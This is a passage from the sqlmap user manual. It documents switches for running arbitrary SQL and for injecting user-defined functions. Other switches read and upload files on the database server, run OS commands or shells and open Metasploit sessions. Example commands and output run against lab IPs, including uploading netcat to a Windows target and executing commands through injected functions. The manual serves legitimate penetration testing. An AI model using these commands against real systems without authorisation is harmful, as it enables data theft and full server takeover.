It is also possible to specify which single character or range of characters to dump with switches --first and --last. For instance, if you want to dump columns' entries from the third to the fifth character, provide --first 3 --last 5. This feature only applies to the blind SQL injection techniques because for error-based and UNION query SQL injection techniques the number of requests is exactly the same, regardless of the length of the column's entry output to dump.

As you know by down, sqlmap is flexible. You can leave it to automatically enumerate the whole database table or you can be very precise in which characters to dump, from which columns and which range of entries.

Dump all databases tables entries

Switches: --dump-all and --exclude-sysdbs

It is possible to dump all databases tables entries at once that the session user has read access on.

You can also provide the --exclude-sysdbs switch to exclude all system databases. In that case sqlmap will only dump entries of users' databases tables.

Note that on Microsoft SQL Server the master database is not considered a system database because some database administrators use it as a users' database.

Search for columns, tables or databases

Switches: --search, -C, -T, -D

TODO

Run custom SQL statement

Switches: --sql-query and --sql-shell

The SQL query and the SQL shell features allow to run arbitrary SQL statements on the database management system. sqlmap automatically dissects the provided statement, determines which technique is appropriate to use to inject it and how to pack the SQL payload accordingly.

If the query is a SELECT statement, sqlmap will retrieve its output. Otherwise it will execute the query through the stacked query SQL injection technique if the web application supports multiple statements on the back-end database management system. Beware that some web application technologies do not support stacked queries on specific database management systems. For instance, PHP does not support stacked queries when the back-end DBMS is MySQL, but it does support when the back-end DBMS is PostgreSQL.

Examples against a Microsoft SQL Server 2000 target:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
  "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
  "SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into 
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), 
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), 
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'

As you can see, sqlmap splits the provided query into two different SELECT statements then retrieves the output for each separate query.

If the provided query is a SELECT statement and contains a FROM clause, sqlmap will ask you if such statement can return multiple entries. In that case the tool knows how to unpack the query correctly to count the number of possible entries and retrieve its output, entry per entry.

The SQL shell option allows you to run your own SQL statement interactively, like a SQL console connected to the database management system. This feature provides TAB completion and history support too.

5.10 Brute force

These options can be used to run brute force checks.

Brute force tables names

Switches: --common-tables

TODO

Brute force columns names

Switches: --common-columns

TODO

5.11 User-defined function injection

These options can be used to create custom user-defined functions.

Inject custom user-defined functions (UDF)

Switches: --udf-inject and --shared-lib

You can inject your own user-defined functions (UDFs) by compiling a MySQL or PostgreSQL shared library, DLL for Windows and shared object for Linux/Unix, then provide sqlmap with the path where the shared library is stored locally on your machine. sqlmap will then ask you some questions, upload the shared library on the database server file system, create the user-defined function(s) from it and, depending on your options, execute them. When you are finished using the injected UDFs, sqlmap can also remove them from the database for you.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Example against a PostgreSQL target:

$ python sqlmap.py -u http://192.168.136.131/sqlmap/pgsql/get_int8.4.php?id=1 --udf-inject -v 0

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL

which is the local path of the shared library? udf/postgresql/linux/8.4/lib_postgresqludf_sys.so
how many user-defined functions do you want to create from the shared library? 1
what is the name of the UDF number 1? sys_eval
how many input parameters takes UDF 'sys_eval'? (default: 1) 
what is the data-type of input parameter number 1? (default: text) 
what is the data-type of the return value? (default: text) 
do you want to call your injected user-defined functions now? [Y/n/q] y
which UDF do you want to call?
[1] sys_eval
[q] Quit
> 1
what is the value of the parameter number 1 (data-type: text)? echo test
do you want to retrieve the return value of the UDF? [Y/n] 
return value:    'test'

do you want to call this or another injected UDF? [Y/n] n
do you want to remove UDF 'sys_eval'? [Y/n] y
[12:00:10] [WARNING] remember that UDF shared object files saved on the file system can only 
be deleted manually

If you want, you can specify the shared library local file system path via command line using --shared-lib option.

This feature is available only when the database management system is MySQL or PostgreSQL.

5.12 File system access

Read a file from the database server's file system

Switch: --file-read

It is possible to retrieve the content of files from the underlying file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Example against a Microsoft SQL Server 2005 target to retrieve a binary file:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
  --file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/tmp/sqlmap/output/192.168.136.131/files/C__example.exe'
[...]

$ ls -l output/192.168.136.131/files/C__example.exe 
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.131/files/C__example.exe

$ file output/192.168.136.131/files/C__example.exe 
output/192.168.136.131/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit

Upload a file to the database server's file system

Switches: --file-write and --file-dest

It is possible to upload a local file to the database server's file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Example against a MySQL target to upload a binary UPX-compressed file:

$ file /tmp/nc.exe.packed 
/tmp/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit

$ ls -l /tmp/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /tmp/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.aspx?id=1" --file-write \
  "/tmp/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully 
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, 
same size as the local file '/tmp/nc.exe.packed'

5.13 Operating system takeover

Run arbitrary operating system command

Switches: --os-cmd and --os-shell

It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality explained above) a shared library (binary file) containing two user-defined functions, sys_exec() and sys_eval(), then it creates these two functions on the database and calls one of them to execute the specified command, depending on user's choice to display the standard output or not. On Microsoft SQL Server, sqlmap abuses the xp_cmdshell stored procedure: if it is disabled (by default on Microsoft SQL Server >= 2005), sqlmap re-enables it; if it does not exist, sqlmap creates it from scratch.

When the user requests the standard output, sqlmap uses one of the enumeration SQL injection techniques (blind, inband or error-based) to retrieve it. Vice versa, if the standard output is not required, stacked query SQL injection technique is used to execute the command.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Example against a PostgreSQL target:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
  --os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(postgres)'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can 
only be deleted manually

It is also possible to simulate a real shell where you can type as many arbitrary commands as you wish. The option is --os-shell and has the same TAB completion and history functionalities that --sql-shell has.

Where stacked queries has not been identified on the web application (e.g. PHP or ASP with back-end database management system being MySQL) and the DBMS is MySQL, it is still possible to abuse the SELECT clause's INTO OUTFILE to create a web backdoor in a writable folder within the web server document root and still get command execution assuming the back-end DBMS and the web server are hosted on the same server. sqlmap supports this technique and allows the user to provide a comma-separated list of possible document root sub-folders where try to upload the web file stager and the subsequent web backdoor. Also, sqlmap has its own tested web file stagers and backdoors for the following languages:

Out-of-band stateful connection: Meterpreter & friends

Switches: --os-pwn, --os-smbrelay, --os-bof, --priv-esc, --msf-path and --tmp-path

It is possible to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.

sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are:

These techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database.

Example against a MySQL target:

$ python sqlmap.py -u "http://192.168.136.128/sqlmap/mysql/get_int_51.aspx?id=1" \
  --os-pwn -v 1 --msf-path /tmp/metasploit

[...]
TODO

By default MySQL on Windows runs as SYSTEM, however PostgreSQL runs as a low-privileged user postgres on both Windows and Linux. Microsoft SQL Server 2000 by default runs as SYSTEM, whereas Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK SERVICE and sometimes as LOCAL SERVICE.

It is possible to provide sqlmap with the --priv-esc switch to perform a database process' user privilege escalation via Metasploit's getsystem command which include, among others, the kitrap0d technique ( MS10-015).

5.14 Windows registry access

It is possible to access Windows registry when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and when the web application supports stacked queries. Also, session user has to have the needed privileges to access it.

Read a Windows registry key value

Switch: --reg-read

Using this option you can read registry key values.

Write a Windows registry key value

Switch: --reg-add

Using this option you can write registry key values.

Delete a Windows registry key

Switch: --reg-del

Using this option you can delete registry keys.

Auxiliary registry switches

Switches: --reg-key, --reg-value, --reg-data and --reg-type

These switches can be used to provide data needed for proper running of options --reg-read, --reg-add and --reg-del. So, instead of providing registry key information when asked, you can use them at command prompt as program arguments.

With --reg-key option you specify used Windows registry key path, with --reg-value value item name inside provided key, with --reg-data value data, while with --reg-type option you specify type of the value item.

A sample command line for adding a registry key hive follows:

$ python sqlmap.py -u http://192.168.136.128/sqlmap/pgsql/get_int.aspx?id=1 --reg-add \ 
  --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

5.15 General

TODO

Switch: -t

TODO

Session file: save and resume data retrieved

Switch: -s

By default sqlmap logs all queries and their output into a textual file called session file, regardless of the technique used to extract the data. This is useful if you stop the injection for any reason and rerun it afterwards: sqlmap will parse the session file and resume enumerated data from it, then carry on extracting data from the exact point where it left before you stopped the tool.

The default session file is output/TARGET_URL/session, but you can specify a different file path with -s switch.

The session file has the following structure:

[hh:mm:ss MM/DD/YY]
[Target URL][Injection point][Parameters][Query or information name][Query output or value]

A more user friendly textual file where all data retrieved is saved, is the log file, output/TARGET_URL/log. This file can be useful to see all information enumerated to the end.

Flush session file

Switch: --flush-session

As you are already familiar with the concept of a session file from the description above, it is good to know that you can flush the content of that file using option --flush-session. This way you can avoid the caching mechanisms implemented by default in sqlmap. Other possible way is to manually remove the session file(s).

Estimated time of arrival

Switch: --eta

It is possible to calculate and show in real time the estimated time of arrival to retrieve each query output. This is shown when the technique used to retrieve the output is any of the blind SQL injection types.

Example against an Oracle target affected only by boolean-based blind SQL injection:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                          ] 11/64  ETA 00:19

Then:

100% [===================================================] 64/64               
[10:28:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

As you can see, sqlmap first calculates the length of the query output, then estimates the time of arrival, shows the progress in percentage and counts the number of retrieved output characters.

Update sqlmap

Switch: --update

Using this option you can update the tool to the latest development version directly from the subversion repository. You obviously need Internet access.

If, for any reason, this operation fails, try with a manual svn update from your sqlmap working copy. It will perform the exact same operation of switch --update. If you are running sqlmap on Windows, you can use the TartoiseSVN client by right-clicking in Windows Explorer into your local sqlmap working copy and Update.

Save options in a configuration INI file

Switch: --save

It is possible to save the command line options to a configuration INI file. The generated file can then be edited and passed to sqlmap with the -c option as explained above.

Act in non-interactive mode

Switch: --batch

If you want sqlmap to run as a batch tool, without any user's interaction when sqlmap requires it, you can force that by using --batch switch. This will leave sqlmap to go with a default behaviour whenever user's input would be required.

5.16 Miscellaneous

TODO

Switch: --beep

TODO

TODO

Switch: --check-payload

TODO

Cleanup the DBMS from sqlmap specific UDF(s) and table(s)

Switch: --cleanup

It is recommended to clean up the back-end database management system from sqlmap temporary table(s) and created user-defined function(s) when you are done taking over the underlying operating system or file system. Switch --cleanup will attempt to clean up the DBMS and the file system wherever possible.

TODO

Switch: --forms

TODO

Use Google dork results from specified page number

Switch: --gpage

Default sqlmap behavior with option -g is to do a Google search and use the first 100 resulting URLs for further SQL injection testing. However, in combination with this option you can specify with this switch, --gpage, some page other than the first one to retrieve target URLs from.

TODO

Switch: --parse-errors

TODO

TODO

Switch: --replicate

TODO

6. License and copyright

sqlmap is released under the terms of the General Public License v2. sqlmap is copyrighted by its developers.

7. Disclaimer

sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

Whatever you do with this tool is uniquely your responsibility. If you are not authorized to punch holes in the network you are attacking be aware that such action might get you in trouble with a lot of law enforcement agencies.

8. Authors

Bernardo Damele A. G. (inquis) - Lead developer. PGP Key ID: 0x05F5A30F

Miroslav Stampar (stamparm) - Developer. PGP Key ID: 0xB5397B1B